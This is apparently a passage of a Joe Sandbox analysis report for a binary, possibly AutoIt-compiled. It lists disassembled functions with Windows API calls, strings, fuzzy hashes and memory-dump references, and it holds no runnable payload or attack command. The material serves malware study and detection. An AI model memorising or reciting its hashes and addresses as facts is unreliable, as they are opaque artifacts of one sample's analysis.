Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: 46e3197344bebe7d07c7ba8ec0ac73aac10025f9b04df2f74cc0dbaf150e744a
Instruction ID: 7e63c2dcec8adac4048cbf1f8ba7ced947daa323b69105fab9e9f444e4238774
Opcode Fuzzy Hash: 46e3197344bebe7d07c7ba8ec0ac73aac10025f9b04df2f74cc0dbaf150e744a
Instruction Fuzzy Hash: E531D5396042019FCB14DF28C585EAA77F0EF18319F24909AE9158F392DB39EE41C765

Function 00443EB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00443F40
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00443F54
SendMessageW.USER32(?,00001002,00000000,?), ref: 00443F78

Strings

SysMonthCal32, xrefs: 00443F0B

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 5207b4a6cf95abaad2e51ba11af1333dd482677c60913ab6824cff18edaee785
Instruction ID: db3a3e1a6e7f5468b483e3f257a10f887da617ba93f32577956b0ab9c61965f6
Opcode Fuzzy Hash: 5207b4a6cf95abaad2e51ba11af1333dd482677c60913ab6824cff18edaee785
Instruction Fuzzy Hash: B621BF32600219BBEF119F50CC86FEB3B79EF48718F110219FE156B1D0D6B9A8548B94

Function 004195AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0041961D

Strings

#notrayicon, xrefs: 004195B7
#OnAutoItStartRegister, xrefs: 004195F3
#requireadmin, xrefs: 004195D9

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: 9d292d3c4f8dcf71629a46d09005c3047c98201ea9fabf2e7fca53085d6eaf6d
Instruction ID: 3d09f67b126d10d8f6808738ab9a5cbfc02ebd935057af18f7633f532268b2e0
Opcode Fuzzy Hash: 9d292d3c4f8dcf71629a46d09005c3047c98201ea9fabf2e7fca53085d6eaf6d
Instruction Fuzzy Hash: 27215B3310411066E332AB249C22FF773D9EFA1300F144027FA49AB241EB69ADD6C2AD

Function 004437B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00443840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00443850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00443876

Strings

Listbox, xrefs: 0044380F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 0bceb94b6557fdc4bc523be4476b696afa07fd46a89b40282fcd210dbe4ef933
Instruction ID: f66532581a8507761d37d70d1596aafaca9ec17b41ca29802dba1b9e3a64ce34
Opcode Fuzzy Hash: 0bceb94b6557fdc4bc523be4476b696afa07fd46a89b40282fcd210dbe4ef933
Instruction Fuzzy Hash: 5221D472600118BBFF119F55CC81FBB77AEEF89B54F108126F9449B290C675DC5287A4

Function 004249F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00424A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00424A5C
SetErrorMode.KERNEL32(00000000,?,?,0044CC08), ref: 00424AD0

Strings

%lu, xrefs: 00424A6F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: fd897fb20deab23e69b3af58ce1969e05dfca8d47d663adecbf930358f39fd52
Instruction ID: b39a61bee2fabce8e4ff5b646d69aa84da20d51e106d05d81938a5ae9c9e7f47
Opcode Fuzzy Hash: fd897fb20deab23e69b3af58ce1969e05dfca8d47d663adecbf930358f39fd52
Instruction Fuzzy Hash: 71318E74A00108AFDB11DF54C881EAA7BF8EF49308F1480AAE909DF252D775ED45CB65

Function 004441EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0044424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00444264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00444271

Strings

msctls_trackbar32, xrefs: 00444226

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 82ea4a27812f916313de2a707c05e52d1297761c7c76226253cdd04dc6e969ef
Instruction ID: 206b4fdcf2d039c43d8def9758d607189ed1cdae50fcdddee9b00cb886b2b599
Opcode Fuzzy Hash: 82ea4a27812f916313de2a707c05e52d1297761c7c76226253cdd04dc6e969ef
Instruction Fuzzy Hash: E4110A312402087EFF205F25CC06FAB3BACEFD5764F110525FA55E6190D6B5DC119714

Function 00412F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003B6B57: _wcslen.LIBCMT ref: 003B6B6A

Part of subcall function 00412DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00412DC5
Part of subcall function 00412DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00412DD6
Part of subcall function 00412DA7: GetCurrentThreadId.KERNEL32 ref: 00412DDD
Part of subcall function 00412DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00412DE4

GetFocus.USER32 ref: 00412F78

Part of subcall function 00412DEE: GetParent.USER32(00000000), ref: 00412DF9

GetClassNameW.USER32(?,?,00000100), ref: 00412FC3
EnumChildWindows.USER32(?,0041303B), ref: 00412FEB

Strings

%s%d, xrefs: 00412FFF

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: 466423c643011cd8c9c81d0a6467e954477ae863046dae1f5f631a08951452e6
Instruction ID: eb8491a2cbc133151f8a1f9dfb5cb4635c2c77b0f913c08b00dd6e82ac35793a
Opcode Fuzzy Hash: 466423c643011cd8c9c81d0a6467e954477ae863046dae1f5f631a08951452e6
Instruction Fuzzy Hash: A71105712002046BCF45BF61DCD6FEE37AAAF84308F04807AB909DB242DE7899858B74

Function 00445882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 004458C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 004458EE
DrawMenuBar.USER32(?), ref: 004458FD

Strings

0, xrefs: 0044588F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: 0a946e340b545ac6cfb0541e348b69d0ada5602421738d6f4ba4f2d107c2a179
Instruction ID: 25da78cc143c308332899e1143bf15a30f2e3352f222ba237107f0fcc56e9a4c
Opcode Fuzzy Hash: 0a946e340b545ac6cfb0541e348b69d0ada5602421738d6f4ba4f2d107c2a179
Instruction Fuzzy Hash: FA01A171500218EFEF119F21DC44BAFBBB5FB45760F0480AAE849DA252DB348A80DF25

Function 00447803 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41windowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,004818B0,0044A364,000000FC,?,00000000,00000000,?,?,?,004076CF,?,?,?,?,?), ref: 00447805
GetFocus.USER32 ref: 0044780D

Part of subcall function 003C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 003C9BB2

Part of subcall function 003C9944: GetWindowLongW.USER32(?,000000EB), ref: 003C9952

SendMessageW.USER32(?,000000B0,000001BC,000001C0), ref: 0044787A

Strings

8Y, xrefs: 00447841, 00447852

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$Long$FocusForegroundMessageSend
String ID: 8Y
API String ID: 3601265619-2504371881
Opcode ID: 01e1f33b4cc7416abf965c03e8c2bb332e7e5a7980c6f0466cc02d223679f979
Instruction ID: f02d456753fb4a84471b1857fbe24b20ef9816e0d10e524e568ff6e830bd97f9
Opcode Fuzzy Hash: 01e1f33b4cc7416abf965c03e8c2bb332e7e5a7980c6f0466cc02d223679f979
Instruction Fuzzy Hash: 120184355015008FD325EB28D85CBB637E9AF8A360F190A7EE4158B3B1CB396C03CB58

Function 0040D3A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 0040D3BF
FreeLibrary.KERNEL32 ref: 0040D3E5

Strings

GetSystemWow64DirectoryW, xrefs: 0040D3B9
X64, xrefs: 0040D2A8

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: 777b6a2b9d06d5be0bbb9cb09b322d8eb06c51a507393b0a7928d130c2d44976
Instruction ID: c1ca791d7dfd7e91c5e2f731dc7049e6617ebb5e81f80b102e991389ea365894
Opcode Fuzzy Hash: 777b6a2b9d06d5be0bbb9cb09b322d8eb06c51a507393b0a7928d130c2d44976
Instruction Fuzzy Hash: 3CF0A765C06921DBD7B116504C94A5A7314AF11701B5895BFBC02F128CD73CCD498B9F

Function 0041007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a29ff5fe1996b8088ccc027e7aead05a76282bd104343e363c9c59be8dd9a4d
Instruction ID: 8fc5ea3cad2808170fe8f543b17610b3d538d7be0edad0fdeef7494f6f822d8c
Opcode Fuzzy Hash: 4a29ff5fe1996b8088ccc027e7aead05a76282bd104343e363c9c59be8dd9a4d
Instruction Fuzzy Hash: 1DC16C75A0020AEFCB14CFA4C894AAEB7B5FF48304F10859AE915EB251D775EDC2CB94

Function 0043342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00433459
CoUninitialize.OLE32 ref: 00433463
VariantInit.OLEAUT32(?), ref: 0043346E
VariantClear.OLEAUT32(?), ref: 0043371B

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: 38067b2ba96a2e65c868514ebb0da00649c98e1086e61ec3c5fd68517d059ec2
Instruction ID: 4b657d24b47ef71b9dc5b3d675f06c4c89db5541ce42070f90344a323f86ce4f
Opcode Fuzzy Hash: 38067b2ba96a2e65c868514ebb0da00649c98e1086e61ec3c5fd68517d059ec2
Instruction Fuzzy Hash: 89A159756042009FC711DF28C486A6AB7E5FF8D715F04885EF98A9B362DB34EE01CB96

Function 00410436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,0044FC08,?), ref: 004105F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,0044FC08,?), ref: 00410608
CLSIDFromProgID.OLE32(?,?,00000000,0044CC40,000000FF,?,00000000,00000800,00000000,?,0044FC08,?), ref: 0041062D
_memcmp.LIBVCRUNTIME ref: 0041064E

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 38e44709570edb3e08d754ed3ff45285680f41772339dd6f4422d6ee790875c8
Instruction ID: 000b4591189958765709d0de4c2b7162bc5c610a22a608a0bd8188013efbfbec
Opcode Fuzzy Hash: 38e44709570edb3e08d754ed3ff45285680f41772339dd6f4422d6ee790875c8
Instruction Fuzzy Hash: 65814A71A00109EFCB04DF94C984EEEB7BAFF89315F204159E506AB250DB75AE86CB64

Function 0043A67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0043A6AC
Process32FirstW.KERNEL32(00000000,?), ref: 0043A6BA

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

Process32NextW.KERNEL32(00000000,?), ref: 0043A79C
CloseHandle.KERNEL32(00000000), ref: 0043A7AB

Part of subcall function 003CCE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,003F3303,?), ref: 003CCE8A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: cf3cb24fe04e88fd9d677410e8ead7dc7e8ea3336a41ccf9e37296ffc7cda0a3
Instruction ID: 9cb9c2bb8b44dbf50f7706066715e76107102e54eee1193d6fd051aff8114f34
Opcode Fuzzy Hash: cf3cb24fe04e88fd9d677410e8ead7dc7e8ea3336a41ccf9e37296ffc7cda0a3
Instruction Fuzzy Hash: 82514E715083009FD715EF24C886A6BBBE8FF89754F00492EF685DB252EB34D904CB92

Function 003F1391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 003F14C0

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: a504ba72518bc13701e2c6d0d576e972e0a5135b82b3757b5b9c92fdf027c2a0
Instruction ID: 459533f12abca5ede35a76733f4c5ddd0cd71e1eb02ef00f1828da78fe179dc0
Opcode Fuzzy Hash: a504ba72518bc13701e2c6d0d576e972e0a5135b82b3757b5b9c92fdf027c2a0
Instruction Fuzzy Hash: B041413650011CEBDB236BBBBC45BBE3AB8EF81330F150626F619DA2D1D67448415771

Function 00431AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00431AFD
WSAGetLastError.WSOCK32 ref: 00431B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00431B8A
WSAGetLastError.WSOCK32 ref: 00431B94

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: cd969aea1c85c4a4ee875a2cd680b4095ea242a1eccabde9a3103107d660df92
Instruction ID: 3744ec2746c23bdc123494ecf71c42f7dd435e9345c32e59790757a10cd3ce1c
Opcode Fuzzy Hash: cd969aea1c85c4a4ee875a2cd680b4095ea242a1eccabde9a3103107d660df92
Instruction Fuzzy Hash: 2041D434600200AFE725AF20C886F6A77E5AB48718F54845DF61A9F7D3D776ED418B90

Function 003EB41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 765077d3fb46ddee2a427f6bf7fd15d2d397306a410e524a39c743f3784c373a
Instruction ID: 5d386bcaa7dd4b4896c6ba742aef76bc937dba3ce81c8825fa9db66f742c3957
Opcode Fuzzy Hash: 765077d3fb46ddee2a427f6bf7fd15d2d397306a410e524a39c743f3784c373a
Instruction Fuzzy Hash: 7641F8B5A00358AFD7279F7ACC41B6BBBA9EB84710F10462EF541DF6C2D77199018B80

Function 004256D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00425783
GetLastError.KERNEL32(?,00000000), ref: 004257A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 004257CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 004257FA

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 9376d44fb3b76ba4ebeff74efd5892877025e0f48af77eec8d48c4630a986d8f
Instruction ID: 74a07308417a4dc2bb97afd1217bd38549c094da749694917c0cb2c7b63ff3f9
Opcode Fuzzy Hash: 9376d44fb3b76ba4ebeff74efd5892877025e0f48af77eec8d48c4630a986d8f
Instruction Fuzzy Hash: FF413C39700610DFCB21EF15C445A5ABBE2EF89724B188489E94A5F762CB74FD00CB95

Function 003ED8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,003D6D71,00000000,00000000,003D82D9,?,003D82D9,?,00000001,003D6D71,?,00000001,003D82D9,003D82D9), ref: 003ED910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 003ED999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 003ED9AB
__freea.LIBCMT ref: 003ED9B4

